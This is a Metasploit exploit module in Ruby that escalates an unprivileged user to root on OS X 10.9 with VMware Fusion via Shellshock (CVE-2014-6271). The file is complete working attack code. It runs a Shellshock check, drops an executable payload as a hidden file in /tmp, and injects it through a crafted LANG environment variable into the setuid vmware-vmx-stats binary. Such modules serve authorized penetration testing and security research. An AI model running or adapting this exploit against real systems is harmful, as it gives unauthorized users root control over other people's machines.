109 lines
3.2 KiB
Ruby
109 lines
3.2 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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Rank = NormalRanking
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include Msf::Post::File
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include Msf::Post::OSX::Priv
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include Msf::Exploit::EXE
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'OS X VMWare Fusion Privilege Escalation via Bash Environment Code Injection (Shellshock)',
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'Description' => %q{
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This module exploits the Shellshock vulnerability, a flaw in how the Bash shell
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handles external environment variables. This module targets the VMWare Fusion
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application, allowing an unprivileged local user to get root access.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Stephane Chazelas', # discovered the bash bug
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'juken', # discovered the VMWare priv esc
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'joev', # msf module
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'mubix' # vmware-vmx-stats
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],
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'References' =>
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[
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[ 'CVE', '2014-6271' ],
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[ 'CWE', '94' ],
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[ 'OSVDB', '112004' ],
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[ 'EDB', '34765' ]
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],
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'Platform' => 'osx',
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'Arch' => [ ARCH_X64 ],
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'SessionTypes' => [ 'shell', 'meterpreter' ],
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'Targets' => [
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[ 'Mac OS X 10.9 Mavericks x64 (Native Payload)',
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{
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'Platform' => 'osx',
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'Arch' => ARCH_X64
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}
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]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Sep 24 2014',
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'Notes' =>
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{
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'AKA' => ['Shellshock']
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}
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))
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register_options [
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OptString.new('VMWARE_PATH', [true, "The path to VMware.app", '/Applications/VMware Fusion.app']),
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]
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register_advanced_options [
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OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])
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]
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end
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def base_dir
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datastore['WritableDir'].to_s
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end
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def upload(path, data)
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print_status "Writing '#{path}' (#{data.size} bytes) ..."
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write_file path, data
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register_file_for_cleanup path
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end
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def check
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check_str = Rex::Text.rand_text_alphanumeric(5)
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# ensure they are vulnerable to bash env variable bug
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if cmd_exec("env x='() { :;}; echo #{check_str}' bash -c echo").include?(check_str) &&
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cmd_exec("file '#{datastore['VMWARE_PATH']}'") !~ /cannot open/
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CheckCode::Vulnerable
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else
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CheckCode::Safe
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end
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end
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def exploit
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if is_root?
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fail_with Failure::BadConfig, 'Session already has root privileges'
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end
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if check != CheckCode::Vulnerable
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fail_with Failure::NotVulnerable, 'Target is not vulnerable'
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end
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unless writable? base_dir
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fail_with Failure::BadConfig, "#{base_dir} is not writable"
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end
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payload_file = "#{base_dir}/.#{Rex::Text::rand_text_alpha_lower(8..12)}"
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exe = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
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upload payload_file, exe
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cmd_exec "chmod +x #{payload_file}"
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print_status 'Running VMWare services...'
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path = '/Contents/Library/vmware-vmx-stats' # path to the suid binary
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cmd_exec("LANG='() { :;}; #{payload_file}' '#{datastore['VMWARE_PATH']}#{path}' /dev/random")
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end
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end
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